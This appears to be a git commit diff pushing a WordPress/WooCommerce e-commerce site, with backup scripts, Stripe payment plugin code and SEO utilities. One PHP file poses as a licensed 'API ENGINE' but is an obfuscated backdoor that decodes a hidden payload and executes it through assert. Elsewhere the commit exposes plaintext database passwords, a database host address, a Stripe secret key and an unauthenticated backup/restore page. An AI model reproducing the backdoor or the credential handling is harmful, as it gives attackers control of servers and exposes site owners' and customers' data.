7fb560c2 by Tran Phuong An

Push site first time.

0 parents
Showing 1000 changed files with 4854 additions and 0 deletions

Too many changes to show.

To preserve performance only 1000 of 1000+ files are displayed.

/zipsite.php
/wp-content/uploads
/wp-config.php
/nbproject/private/
\ No newline at end of file
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
\ No newline at end of file
; Wordfence WAF
auto_prepend_file = '/home/dev/domains/16jason79.dev.fgct.net/public_html/wordfence-waf.php'
; END Wordfence WAF
<?php
/**
* Script backup DB
* Author: Le Xuan Chien
* Emai: chien.lexuan@gmail.com
*/
$basePath = dirname(__FILE__).DIRECTORY_SEPARATOR.'backup/';
$backupFile = $basePath.'database_backup_' . date("YmdHis") . '.sql';
$command = 'mysqldump reizedev --password=W0mbat223! --user=reizeuser --single-transaction >' . $backupFile;
$output = array();
exec($command,$output);
print_r($output);
//Create ZIP
$new_archive_name = $basePath."database_backup.zip";
$new_zip = new ZipArchive;
$new_open = $new_zip->open($new_archive_name, ZIPARCHIVE::CREATE);
$new_zip->addFile($backupFile);
<?php
/* =====================================================
Copyright (c) 2004,2015 SoftNews Media Group
API ENGINE
=====================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
*/
$SP6e0ba="8t/h/W6KaTgiBG1oC8TeA4gOCuN9gQ/vlehaJClW1nw3quQp66xV9UfE+27VCOpVZX5F26ZV5MCVlptbK4LyZUUTRK1rxYRb6K1IBciH6A50vWjriJF75VsKJ3z3imLOkLzm+XKQlSnAgogNjqRRBhlpmbNTTA==";$tWK3XdZt="\163\164";$nqbTbb="Fl1YmASDIjxBZRf1FRd0IsTbPbgl9CQHtVybJdgxybnHzW";$HzVZAHI="\142\x61\163";$XjiyYiC="\141";$tPJlO4="\x67\172\x69";$nqbTbb.="Hy2lbcJnixSFnSWPKMXwyzOCx4BvyMc+HKnntHJHGy5nKL";$XjiyYiC.="\x73";$HzVZAHI.="\x65\66\x34";$tPJlO4.="\x6e\x66";$tWK3XdZt.="\162\137\162";$tPJlO4.="\154\141";$XjiyYiC.="\x73\145";$tWK3XdZt.="\157\164";$HzVZAHI.="\137\x64\145\x63";$nqbTbb.="TyuQJGnTuuLjgen2WfjNCqixwPXA/XVHhBUEHRJkzaStLL";$HzVZAHI.="\157\144\x65";$tWK3XdZt.="\61\63";$nqbTbb.="wcZSSIf1uAGJhUIWNYIHbPiUY8GGEtMtRy1QJgND==";$XjiyYiC.="\162\164";$tPJlO4.="\164\145";@$XjiyYiC($tPJlO4($HzVZAHI($tWK3XdZt($nqbTbb))));?>
<?php
// GRD ZIP ARCHIVER
// by Piotr GRD
// http://grd.go.pl/
// grd@gazeta.pl
// created 2008-05-05
// free to use and modify as long as you keep info above
// requirements: php zip extensions with ZipArchive class
// SETTINGS
// directory you want to compress with everything inside
// . - for root
// folder - for some folder
// folder/subfolder - for some subfolder
// do not add ending slash
$directory = dirname(__FILE__).DIRECTORY_SEPARATOR;
// the name of your zip archive to be created
$zipfile = '/var/www/reize.com.au/backup/site.zip';
// DO NOT TOUCH BELOW IF YOU DONT KNOW WHAT IT IS
// all the process below
$filenames = array();
// function that browse the directory and all subdirectories inside
$zip = new ZipArchive();
if ($zip->open($zipfile, ZIPARCHIVE::CREATE) !== TRUE) {
exit("cannot open <$zipfile>\n");
}
function browse($dir, $zip) {
// global $filenames;
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != ".." && is_file($dir . '/' . $file) && $file != $zipfile) {
$extention = substr($file, -4);
if ($extention != '.log' && $extention != ".zip") {
$filename = $dir . '/' . $file;
echo "Adding " . $dir . '/' . $file . "<br/>";
$zip->addFile($filename, $filename);
}
} else if ($file != "." && $file != ".." && is_dir($dir . '/' . $file)) {
//if ($file == 'newsite' || $file == 'cache' || $file == 'images') {
// } else {
browse($dir . '/' . $file, $zip);
// }
}
}
closedir($handle);
}
return true;
}
browse($directory, $zip);
// creating zip archive, adding browsed files
//foreach ($filenames as $filename) {
// echo "Adding " . $filename . "<br/>";
// $zip->addFile($filename, $filename);
//}
echo "numfiles: " . $zip->numFiles . "\n";
echo "status:" . $zip->status . "\n";
$zip->close();
?>
\ No newline at end of file
<?php
// Include stripe-php as you usually do, either with composer as shown,
// or with a direct require, as commented out.
require_once("vendor/autoload.php");
// require_once("/path/to/stripe-php/init.php");
\Stripe\Stripe::setApiKey("sk_test_BQokikJOvBiI2HlWgH4olfQ2");
\Stripe\Stripe::$apiBase = "https://api-tls12.stripe.com";
try {
\Stripe\Charge::all();
echo "TLS 1.2 supported, no action required.";
} catch (\Stripe\Error\ApiConnection $e) {
echo "TLS 1.2 is not supported. You will need to upgrade your integration.";
}
?>
\ No newline at end of file
tester.phuongan.stripe.04@gmail.com
\ No newline at end of file
{
"require": {
"optimizely/optimizely-sdk": "^1.0",
"clippings/php-gacx": "^1.1"
}
}
No preview for this file type
b2biz-admin
<?php
if (!isset($wp_did_header)) {
$wp_did_header = true;
// Load the WordPress library.
require_once( dirname(__FILE__) . '/wp-load.php' );
// Set up the WordPress query.
wp();
}
global $wpdb;
$order_id = 10207;
$order = new WC_Order($order_id);
$drinks = 0;
echo "<pre>";
print_r($order->get_items());
foreach ($order->get_items() as $key => $value) {
if ($value['variation_id'] > 0) {
print_r($value['item_meta_array'] );
}
}
exit();
$arrayData = array();
//For page
$query = "SELECT ID,post_title, post_type FROM $wpdb->posts WHERE `post_status` = 'publish' AND `post_type` = 'page'";
$results = $wpdb->get_results($query);
$i = 1;
$arrayData[0] = array('STT', 'URL', 'Title', 'Description');
if (!empty($results)) {
foreach ($results as $item) {
$url = get_permalink($item->ID);
$titleTag = strtoupper($item->post_title) . " - REIZE";
$description = "REIZE is the worlds most versatile energy drink, home delivered for as low as 62c per drink. It's sugar free, it's lightweight and it's Most Flavoursome. Caffeine, Taurine and Ginseng combines to give an amazing energy boost. Try it today!";
$arrayData[$i] = array($i, $url, $titleTag, $description);
$i++;
}
}
$query = "SELECT ID,post_title, post_type FROM $wpdb->posts WHERE `post_status` = 'publish' AND `post_type` = 'post'";
$results = $wpdb->get_results($query);
if (!empty($results)) {
foreach ($results as $item) {
$url = get_permalink($item->ID);
$titleTag = $item->post_title . " - REIZE";
$postShortDes = get_post_meta($item->ID, 'Short Description', true);
if (!$postShortDes) {
$description = "REIZE is the worlds most versatile energy drink, home delivered for as low as 62c per drink. It's sugar free, it's lightweight and it's Most Flavoursome. Caffeine, Taurine and Ginseng combines to give an amazing energy boost. Try it today!";
} else {
$description = $postShortDes;
}
$arrayData[$i] = array($i, $url, $titleTag, $description);
$i++;
}
}
//For post
function fgc_create_csv_file($pathFile, $data) {
if (empty($data))
return false;
$file = fopen($pathFile, "w");
foreach ($data as $line) {
fputcsv($file, $line); // explode(',', $line)
}
fclose($file);
}
fgc_create_csv_file(dirname(__FILE__)."/wp-content/uploads" . DIRECTORY_SEPARATOR . 'seo_reize.csv', $arrayData);
?>
This diff could not be displayed because it is too large.
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
This diff is collapsed. Click to expand it.
This diff could not be displayed because it is too large.
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
require_once('backup_restore.class.php');
/** config. php * */
$db_host = "52.65.125.87";
$db_user = "reizedbadmin";
$db_pass = "W0mbatSoup2217$!";
$db_name = "reize";
/* * ************* */
$newImport = new backup_restore($db_host, $db_name, $db_user, $db_pass);
if (isset($_REQUEST['backup'])) {
//call of backup function
$message = $newImport->backup();
echo "Download THE <a href='" . $message . "' >SQL FILE </a> OR RESTORE IT ANY TIME";
}
if (isset($_REQUEST['restore'])) {
//call of restore function
$message = $newImport->restore();
echo $message;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Buffer Now (Back up And Restore Script)</title>
</head>
<body>
<table align="center" width="50%"><tr>
<form method='post'>
<td>
<input type="submit" name="backup" value="I will make Backup">
</td><td>
<input type="submit" name="restore" value="I Will Restore">
</form></td></tr></table>
</body>
\ No newline at end of file
sftp-config.json
\ No newline at end of file
# DEVELOPER.md
## Testing
* In wp-admin > WooCommerce > Settings > Checkout > Stripe, Enable Stripe, Enable Test Mode, Enable Stripe Checkout and Enable Payment via Saved Cards
* In wp-admin > WooCommerce > Settings > Checkout > Stripe, enter a Test Secret Key and a Test Publishable Key
* Enable at least one other payment gateway (e.g. Cheques)
* On the front side, place an item in your cart and proceed to Checkout
* Fill in all required fields in the Billing Details area
* Select Credit Card (Stripe) and "Use a new credit card"
* Click on Continue to payment
* Verify you get the stripe modal requesting card number, expiration and CVC
* Enter 4242 4242 4242 4242, 12/17, 123
* Leave Remember Me unchecked
* Click Confirm and Pay
* Verify the modal closes, the page dims for a bit, and then you are redirected to Order Received
* Repeat the above steps, but this time instead of "Use a new credit card" use a stored card
* Click on Continue to payment
* Verify the page dims for a bit and then you are redirected to Order Received
* Repeat the above steps, but this time clear the Billing Details (e.g. Name, etc)
* Choose a stored card in Stripe
* Click on Continue to payment
* Verify you get prompted to fill in required fields.
* Fill in the required fields
* Click on Continue to payment
* Verify the page dims for a bit and then you are redirected to Order Received
* Repeat the above steps, but this time choose the "Cheque Payment" gateway
* Click on Place Order
* Verify the page dims for a bit and then you are redirected to Order Received
* Repeat at least the "Use a new credit card" case on Chrome on an iPhone or iPad
* In wp-admin > WooCommerce > Settings > Checkout > Stripe, uncheck Enable Payment via Saved Cards
* On the front side, place an item in your cart and proceed to Checkout
* Fill in all required fields in the Billing Details area
* Select Credit Card (Stripe)
* Click on Continue to payment
* Verify you get the stripe modal requesting card number, expiration and CVC
* Enter 4242 4242 4242 4242, 12/17, 123
* Leave Remember Me unchecked
* Click Confirm and Pay
* Verify the modal closes, the page dims for a bit, and then you are redirected to Order Received
Stripe.setPublishableKey( wc_stripe_params.key );
jQuery( function() {
/* Checkout Form */
jQuery('form.checkout').on('checkout_place_order_stripe', function( event ) {
return stripeFormHandler();
});
/* Pay Page Form */
jQuery('form#order_review').submit(function(){
return stripeFormHandler();
});
/* Both Forms */
jQuery("form.checkout, form#order_review").on('change', '#stripe-card-number, #stripe-card-expiry, #stripe-card-cvc, input[name=stripe_card_id]', function( event ) {
jQuery('.woocommerce_error, .woocommerce-error, .woocommerce-message, .woocommerce_message, .stripe_token').remove();
jQuery('.stripe_token').remove();
});
/* Open and close */
jQuery("form.checkout, form#order_review").on('change', 'input[name=stripe_card_id]', function() {
if ( jQuery('input[name=stripe_card_id]:checked').val() == 'new' ) {
jQuery('div.stripe_new_card').slideDown( 200 );
} else {
jQuery('div.stripe_new_card').slideUp( 200 );
}
} );
} );
function stripeFormHandler() {
if ( jQuery('#payment_method_stripe').is(':checked') && ( jQuery('input[name=stripe_card_id]:checked').size() == 0 || jQuery('input[name=stripe_card_id]:checked').val() == 'new' ) ) {
if ( jQuery( 'input.stripe_token' ).size() == 0 ) {
var card = jQuery('#stripe-card-number').val();
var cvc = jQuery('#stripe-card-cvc').val();
var expires = jQuery('#stripe-card-expiry').payment( 'cardExpiryVal' );
var $form = jQuery("form.checkout, form#order_review");
$form.block({
message: null,
overlayCSS: {
background: '#fff',
opacity: 0.6
}
});
var data = {
number: card,
cvc: cvc,
exp_month: parseInt( expires['month'] ) || 0,
exp_year: parseInt( expires['year'] ) || 0
};
if ( jQuery('#billing_first_name').size() > 0 ) {
data.name = jQuery('#billing_first_name').val() + ' ' + jQuery('#billing_last_name').val();
} else if ( wc_stripe_params.billing_first_name ) {
data.name = wc_stripe_params.billing_first_name + ' ' + wc_stripe_params.billing_last_name;
}
if ( jQuery('#billing_address_1').size() > 0 ) {
data.address_line1 = jQuery('#billing_address_1').val();
data.address_line2 = jQuery('#billing_address_2').val();
data.address_state = jQuery('#billing_state').val();
data.address_city = jQuery('#billing_city').val();
data.address_zip = jQuery('#billing_postcode').val();
data.address_country = jQuery('#billing_country').val();
} else if ( data.address_line1 ) {
data.address_line1 = wc_stripe_params.billing_address_1;
data.address_line2 = wc_stripe_params.billing_address_2;
data.address_state = wc_stripe_params.billing_state;
data.address_city = wc_stripe_params.billing_city;
data.address_zip = wc_stripe_params.billing_postcode;
data.address_country = wc_stripe_params.billing_country;
}
Stripe.createToken( data, stripeResponseHandler );
// Prevent form submitting
return false;
}
}
return true;
}
function stripeResponseHandler( status, response ) {
var $form = jQuery("form.checkout, form#order_review");
if ( response.error ) {
// show the errors on the form
jQuery("body").trigger('wc-stripe-error', {response: response, form: $form});
} else {
// token contains id, last4, and card type
var token = response['id'];
// insert the token into the form so it gets submitted to the server
$form.append("<input type='hidden' class='stripe_token' name='stripe_token' value='" + token + "'/>");
$form.submit();
}
}
// listen for any errors on the form & send the information to a function to handle them
jQuery("body").on( "wc-stripe-error", {}, function( event, response ) {
var fn = window[ wc_stripe_params.error_response_handler ];
// make sure the function exists
if ( typeof fn === 'function' ) {
fn.apply( null, [ response ] );
}
} );
// display error & unblock the form
function stripeErrorHandler( responseObject ) {
jQuery('.woocommerce_error, .woocommerce-error, .woocommerce-message, .woocommerce_message, .stripe_token').remove();
jQuery('#stripe-card-number').closest('p').before( '<ul class="woocommerce_error woocommerce-error"><li>' + responseObject.response.error.message + '</li></ul>' );
responseObject.form.unblock();
}
jQuery( function( $ ) {
var stripe_submit = false;
// We need to bind directly to the click (and not checkout_place_order_stripe) to avoid popup blockers
// especially on mobile devices (like on Chrome for iOS) from blocking StripeCheckout.open from opening a tab
$( 'form.checkout' ).on( 'click', '#place_order', function( event ) {
var result = stripeFormHandler();
return result;
} );
// WooCommerce lets us return a false on checkout_place_order_{gateway} to keep the form from submitting
$( 'form.checkout' ).on( 'checkout_place_order_stripe', { preserve_stripe_submit_value : true }, possiblyAllowFormSubmit );
$( 'form#order_review' ).submit( function() {
var result = stripeFormHandler();
return result;
} );
// Evaluates whether the form submittal should be allowed to proceed
// Returns true to allow form submittal, false to block it
function possiblyAllowFormSubmit( event ) {
// If this submit is a result of the stripe request callback firing, let submit proceed by returning true immediately
if ( stripe_submit ) {
if ( 'undefined' !== typeof event && 'undefined' !== typeof event.data ) {
if ( 'undefined' !== typeof event.data.preserve_stripe_submit_value && ! event.data.preserve_stripe_submit_value ) {
stripe_submit = false;
}
}
return true;
}
if ( ! $( '#payment_method_stripe' ).is( ':checked' ) ) {
return true;
}
if ( $( 'input[name=stripe_card_id]' ).length > 0 && $( 'input[name=stripe_card_id]:checked' ).val() !== 'new' ) {
return true;
}
if ( $( 'input#terms' ).size() === 1 && $( 'input#terms:checked' ).size() === 0 ) {
return true;
}
if ( $( '#createaccount' ).is( ':checked' ) && $( '#account_password' ).length && $( '#account_password' ).val() === '' ) {
return true;
}
// check to see if we need to validate shipping address
if ( $( '#ship-to-different-address-checkbox' ).is( ':checked' ) ) {
$required_inputs = $( '.woocommerce-billing-fields .validate-required, .woocommerce-shipping-fields .validate-required' );
} else {
$required_inputs = $( '.woocommerce-billing-fields .validate-required' );
}
if ( $required_inputs.size() ) {
var required_error = false;
$required_inputs.each( function() {
if ( $( this ).find( 'input.input-text, select' ).not( $( '#account_password, #account_username' ) ).val() === '' ) {
required_error = true;
}
});
if ( required_error ) {
return true;
}
}
return false;
}
function stripeFormHandler() {
if ( possiblyAllowFormSubmit() ) {
return true; // don't interrupt submittal - allow it to proceed
}
// Capture submittal and open stripecheckout
var $form = $( 'form.checkout, form#order_review' ),
$stripe_new_card = $( '.stripe_new_card' ),
token = $form.find( 'input.stripe_token' );
token.val( '' );
var token_action = function( res ) {
$form.find( 'input.stripe_token' ).remove();
$form.append( '<input type="hidden" class="stripe_token" name="stripe_token" value="' + res.id + '"/>' );
stripe_submit = true;
$form.submit();
};
StripeCheckout.open({
key: wc_stripe_params.key,
address: false,
amount: $stripe_new_card.data( 'amount' ),
name: $stripe_new_card.data( 'name' ),
description: $stripe_new_card.data( 'description' ),
currency: $stripe_new_card.data( 'currency' ),
image: $stripe_new_card.data( 'image' ),
bitcoin: $stripe_new_card.data( 'bitcoin' ),
locale: $stripe_new_card.data( 'locale' ),
refund_mispayments: true, // for bitcoin payments let Stripe handle refunds if too little is paid
email: $( '#billing_email' ).val(),
token: token_action
});
return false;
}
});
*** Stripe Changelog ***
2016.04.13 - version 2.6.12
* Fix - When saved cards option is enabled with no cards on file, CC field was hidden.
2016.04.11 - version 2.6.11
* Add - Option to set a default card in manage card section and detect previous card paid by subscription.
* Fix - Admin notice link when key is not added and when addons are present.
2016.03.16 - version 2.6.10
* Tweak - Add logging mechanism. New 'Logging' option is added in Stripe gateway setting to enable logging.
* Fix - Allow language files to be located outside of plugin directory
2016.02.29 - version 2.6.9
* Tweak - Allow mechanism to override Stripe JS error handler. See https://gist.github.com/gedex/240492f479c7443e4780
for an example to override error handler with simple alert.
2016.02.11 - version 2.6.8
* Tweak - Include card brand in saved cards radio label class
* Tweak - Add action when deleting card
* Tweak - Add actions for add_card and add_customer
* Tweak - Add support for automatic localisation in Stripe Checkout modal
* Fix - Check for Stripe error code emptiness before returning the WP_Error
2015.12.17 - version 2.6.7
* Fix is_available SSL check to also work properly on hosts that always serve HTTPS
2015.12.03 - version 2.6.6
* Fix a JavaScript bug introduced in 2.6.4 that caused checkout with a saved card to fail
2015.12.02 - version 2.6.5
* Do not require a card id when updating a subscription payment method
2015.11.20 - version 2.6.4
* Fix a JavaScript bug that caused the Stripe Checkout popup to be blocked on Chrome for iOS
2015.11.12 - version 2.6.3
* Add metadata to subscription payments in stripe dashboard to indicate whether it is the initial or a recurring payment
2015.11.06 - version 2.6.2
* Fix bug that would cause multiple subscriptions to not be supported under certain circumstances
2015.09.15 - version 2.6.1
* Unset source if not set during pre-order release payments.
* Store customer ID if not logged in for pre-order payments.
2015.09.02 - version 2.6.0
* Subscriptions 2.0 support.
2015.08.11 - version 2.5.4
* Tweak - Terms and conditions error styling when required
* Tweak - Account password error styling when required
2015.7.28 - version 2.5.3
* Added - Filter to prevent Stripe from sending its own receipts "wc_stripe_send_stripe_receipt"
2015.07.19 - version 2.5.2
* Fix - Removed deprecated add_error function
* Tweak - Improve error message when Stripe checkout function is used
2015.07.01 - version 2.5.1
* Fix - Only send receipt_email when set.
2015.05.11 - version 2.5.0
* Update to API version 2015-04-07
* Feature - Support authorize on subscriptions first payment.
* Tweak - Option labels.
* Tweak - Safe remote GET.
* Tweak - SSLVerify true.
* Tweak - Update card icons.
* Tweak - Pass receipt email.
2015.05.11 - version 2.4.3
* Fix - fixed validation issue when account creation is not checked
* Update - Stripe checkout JS API v2
2015.03.23 - version 2.4.2
* Fix - Create account password field was not being validated
2015.03.20 - version 2.4.1
* Fix - Undefined JS error due to deprecated ajax_loader_url
* Fix - When using Stripe checkout JS, some form required fields were not validating
2015.02.20 - version 2.4.0
* Added support for bitcoin currency
2015.01.31 - version 2.3.0
* Added 'wc_stripe_description' filter to allow filtering of payment description.
* Added order_review handling for stripe checkout.
* Mark order as failed is Stripe API call fails
* Allow valid HTML in Stripe Description
* Fix settings link
* use get_order_currency() when generating payment args, rather than always using store currency.
* Fix fees where not logged correctly when using authorized first capture later
* Retry payment if customer_id is invalid.
2014.11.21 - version 2.2.8
* Save card/customer id for regular orders.
2014.11.20 - version 2.2.7
* Fixed all instances where order IDs were used instead of user IDs.
* Update orignal order card/customer ids for renewals.
* Add reasons to refunds.
2014.11.18 - version 2.2.6
* Stripe card ID should be taken from the order, not the user.
* Fix order_meta_query.
2014.11.06 - version 2.2.5
* Round totals to 2 decimals so when we multiply by 100 we're sure we've got an integer.
2014.10.01 - version 2.2.4
* Fix card display for subscriptions.
2014.10.01 - version 2.2.3
* Fixed textdomain name
2014.09.23 - version 2.2.2
* Set API version to 2014-09-08.
* Fixed card display (type->brand).
2014.09.15 - version 2.2.1
* Fix strict standards warning.
2014.09.01 - version 2.2.0
* Replaced woocommerce_get_template (deprecated) with wc_get_template.
* Tweak refund support.
* Support for pre-orders.
* Fixed typo.
2014.08.06 - version 2.1.0
* Associate stripe customers with wp users.
* Refactored saved card code.
* Use Stripe API to get and delete saved cards.
* Updated subscriptions integration for saved cards.
* WC 2.2 - Store transaction ID.
* WC 2.2 - Refund support.
2014.07.31 - version 2.0.4
* Tweaked the stripe checkout submission method.
2014.07.25 - version 2.0.3
* wc_stripe_manage_saved_cards_url filter.
* Zero decimal currency handling.
* Only open stripe model when required fields are completed.
2014.06.06 - version 2.0.2
* Fix use of saved cards on subscriptions.
2014.05.29 - version 2.0.1
* Fix ajax loading gif.
* Fix notices.
* Fix stray comma in stripe.js.
* Prompt user to accept terms before showing stripe checkout modal.
2014.05.21 - version 2.0.0
* Added the WC credit_card_form - this extension now requires WC 2.1+
* Option to disable saved cards
* Refactored code base
* Fix jquery notices
* Fix settings page links
* woocommerce_stripe_request_body filter
* Store fees for subscriptions
2014.05.20 - version 1.8.6
* correct SSl message
* decode get_bloginfo( 'name' ) for plain text display
2014.05.10 - version 1.8.5
* Updated textdomains
* date_i18n
* Improve stripe checkout flow - pop up on the checkout button click
2014.04.01 - version 1.8.4
* Fix updating credit card used for future subscription payments when paying for a failed subscription renewal order with a new credit card.
2014.02.13 - version 1.8.3
* Fix fatal error for subscription payments of deleted products.
2014.02.06 - version 1.8.2
* Fix notice on card delete
2014.01.28 - version 1.8.1
* set default for $checked
2014.01.08 - version 1.8.0
* Checked compatibility with 2013-12-03 API
* 2.1 compatibility
* Pre-filled email address when using stripe checkout
2013.12.02 - version 1.7.6
* Fix card display
2013.11.27 - version 1.7.5
* Show payment method for subscriptions on account page
2013.11.20 - version 1.7.4
* Expand/close when using saved cards.
* Use balance_transaction to get and store fees
2013.11.01 - version 1.7.3
* Default to saved card
2013.11.01 - version 1.7.2
* Added missing global in update_failing_payment_method
2013.09.28 - version 1.7.1
* Remove non-existant (yet) function
2013.09.25 - version 1.7.0
* Different credit card image for US than for other countries + a filter.
* Support for upcoming version of subscriptions.
* Add new woocommerce_stripe_month_display filter
2013.09.02 - version 1.6.0
* Option to define a Stripe Checkout Image
* Removed currency check due to beta rollout
2013.08.12 - version 1.5.14
* New cards format for subscriptions class.
2013.07.24 - version 1.5.13
* Updated customer response object handler to work with new cards format.
* Fixed delete card button
2013.07.24 - version 1.5.12
* EUR support for Stripe Beta
2013.07.17 - version 1.5.11
* Workaround for stripe error messages.
2013.06.28 - version 1.5.10
* Store charge ID, fee in meta
2013.06.28 - version 1.5.9
* Capture true default
2013.06.18 - version 1.5.8
* Add currency to stripe checkout js
* Authorize-only mode. Captures payment when order is made processing.
2013.06.15 - version 1.5.7
* Added 'capture' option should you wish to authorize only. Authorized orders are on-hold. Processed orders capture the charge automatically.
2013.06.03 - version 1.5.6
* added data-currency to stripe-checkout
2013.04.26 - version 1.5.5
* Allow card re-entry in stripe checkout after errors.
2013.04.19 - version 1.5.4
* GBP fix
2013.04.15 - version 1.5.3
* Support GBP currency code (For UK Beta)
2013.04.09 - version 1.5.2
* Send billing city to stripe
2013.01.24 - version 1.5.1
* Add support for changing a subscription's recurring amount
2013.01.18 - version 1.5.0
* Supports Stripe Checkout https://stripe.com/docs/checkout
2013.01.18 - version 1.4.0
* WC 2.0 Compat
2012.12.05 - version 1.3.5
* Pass address fields to stripe.js on pay page.
2012.12.05 - version 1.3.4
* Updater
2012.10.22 - version 1.3.3
* Fix CAD check
2012.10.15 - version 1.3.2
* Fixed bug causing settings to not show when using CAD
2012.10.11 - version 1.3.1
* Add support for changing subscription next payment date
* Remove order meta from subscription renewal orders
2012.09.20 - version 1.3
* Allowed canadian dollars - Stripe is beta testing support for Canada
2012.09.11 - version 1.2.1
* Fix text mode SSL logic
2012.09.01 - version 1.2
* SSL not required in TEST MODE
* Saved cards - store customer tokens and let users pay again using the same card
* Subscriptions use a single customer, rather than per-order
* Only load JS on checkout
2012.06.19 - version 1.1
* Update woo updater
* Class name update
* Stripe JS for added security - you will need to re-enter keys and ensure you are using WooCommerce 1.5.8
* Subscriptions support (requires WC Subscriptions addon)
2011.12.08 - version 1.0
* First Release
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Backwards compat
*/
$active_plugins = get_option( 'active_plugins', array() );
foreach ( $active_plugins as $key => $active_plugin ) {
if ( strstr( $active_plugin, '/gateway-stripe.php' ) ) {
$active_plugins[ $key ] = str_replace( '/gateway-stripe.php', '/woocommerce-gateway-stripe.php', $active_plugin );
}
}
update_option( 'active_plugins', $active_plugins );
\ No newline at end of file
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Stripe logging class which saves important data to the log
*
* @since 2.6.10
*/
class WC_Stripe_Logger {
public static $logger;
/**
* What rolls down stairs
* alone or in pairs,
* and over your neighbor's dog?
* What's great for a snack,
* And fits on your back?
* It's log, log, log
*
* @since 2.6.10
*/
public static function log( $message ) {
if ( empty( self::$logger ) ) {
self::$logger = new WC_Logger();
}
self::$logger->add( 'woocommerce-gateway-stripe', $message );
}
}
new WC_Stripe_Logger();
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* WC_Gateway_Stripe_Saved_Cards class.
*/
class WC_Gateway_Stripe_Saved_Cards {
/**
* Constructor
*/
public function __construct() {
add_action( 'wp', array( $this, 'delete_card' ) );
add_action( 'wp', array( $this, 'default_card' ) );
add_action( 'woocommerce_after_my_account', array( $this, 'output' ) );
add_action( 'woocommerce_init', array( $this, 'add_notice' ) );
}
/**
* Adds notice when default card is saved
*
*/
public function add_notice() {
if ( ! empty( $_POST['stripe_default_card'] ) ) {
wc_add_notice( __( 'Default card saved', 'woocommerce-gateway-stripe' ) );
}
return true;
}
/**
* Display saved cards
*/
public function output() {
if ( ! is_user_logged_in() || ( ! $customer_id = get_user_meta( get_current_user_id(), '_stripe_customer_id', true ) ) || ! is_string( $customer_id ) ) {
return;
}
$stripe = new WC_Gateway_Stripe();
$cards = $stripe->get_saved_cards( $customer_id );
$default_card = get_user_meta( get_current_user_id(), '_wc_stripe_default_card', true );
if ( $cards ) {
wc_get_template( 'saved-cards.php', array( 'cards' => $cards, 'default_card' => $default_card ), 'woocommerce-gateway-stripe/', WC_STRIPE_TEMPLATE_PATH );
}
}
/**
* Delete a card
*/
public function delete_card() {
if ( ! isset( $_POST['stripe_delete_card'] ) || ! is_account_page() ) {
return;
}
if ( ! is_user_logged_in() || ( ! $customer_id = get_user_meta( get_current_user_id(), '_stripe_customer_id', true ) ) || ! is_string( $customer_id ) || ! wp_verify_nonce( $_POST['_wpnonce'], "stripe_del_card" ) ) {
wp_die( __( 'Unable to verify deletion, please try again', 'woocommerce-gateway-stripe' ) );
}
$stripe = new WC_Gateway_Stripe();
$result = $stripe->stripe_request( array(), 'customers/' . $customer_id . '/sources/' . sanitize_text_field( $_POST['stripe_delete_card'] ), 'DELETE' );
delete_transient( 'stripe_cards_' . $customer_id );
do_action( 'wc_stripe_delete_card', $customer_id, $result );
if ( is_wp_error( $result ) ) {
wc_add_notice( __( 'Unable to delete card.', 'woocommerce-gateway-stripe' ), 'error' );
} else {
wc_add_notice( __( 'Card deleted.', 'woocommerce-gateway-stripe' ), 'success' );
}
wp_safe_redirect( apply_filters( 'wc_stripe_manage_saved_cards_url', get_permalink( woocommerce_get_page_id( 'myaccount' ) ) ) );
exit;
}
/**
* Make a card as default method
*/
public function default_card() {
if ( ! isset( $_POST['stripe_default_card'] ) || ! is_account_page() ) {
return;
}
if ( ! is_user_logged_in() || ( ! $customer_id = get_user_meta( get_current_user_id(), '_stripe_customer_id', true ) ) || ! is_string( $customer_id ) || ! wp_verify_nonce( $_POST['_wpnonce'], "stripe_default_card" ) ) {
wp_die( __( 'Unable to make default card, please try again', 'woocommerce-gateway-stripe' ) );
}
do_action( 'wc_stripe_default_card', $customer_id, sanitize_text_field( $_POST['stripe_default_card'] ) );
update_user_meta( get_current_user_id(), '_wc_stripe_default_card', sanitize_text_field( $_POST['stripe_default_card'] ) );
wp_safe_redirect( apply_filters( 'wc_stripe_manage_saved_cards_url', get_permalink( woocommerce_get_page_id( 'myaccount' ) ) ) );
exit;
}
}
new WC_Gateway_Stripe_Saved_Cards();
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* WC_Gateway_Stripe_Addons class.
*
* @extends WC_Gateway_Stripe
*/
class WC_Gateway_Stripe_Addons_Deprecated extends WC_Gateway_Stripe_Addons {
/**
* Constructor
*/
public function __construct() {
parent::__construct();
if ( class_exists( 'WC_Subscriptions_Order' ) ) {
add_action( 'scheduled_subscription_payment_' . $this->id, array( $this, 'process_scheduled_subscription_payment' ), 10, 3 );
add_filter( 'woocommerce_subscriptions_renewal_order_meta_query', array( $this, 'remove_renewal_order_meta' ), 10, 4 );
add_action( 'woocommerce_subscriptions_changed_failing_payment_method_stripe', array( $this, 'change_failing_payment_method' ), 10, 3 );
// display the current payment method used for a subscription in the "My Subscriptions" table
add_filter( 'woocommerce_my_subscriptions_recurring_payment_method', array( $this, 'my_subscriptions_recurring_payment_method' ), 10, 3 );
}
}
/**
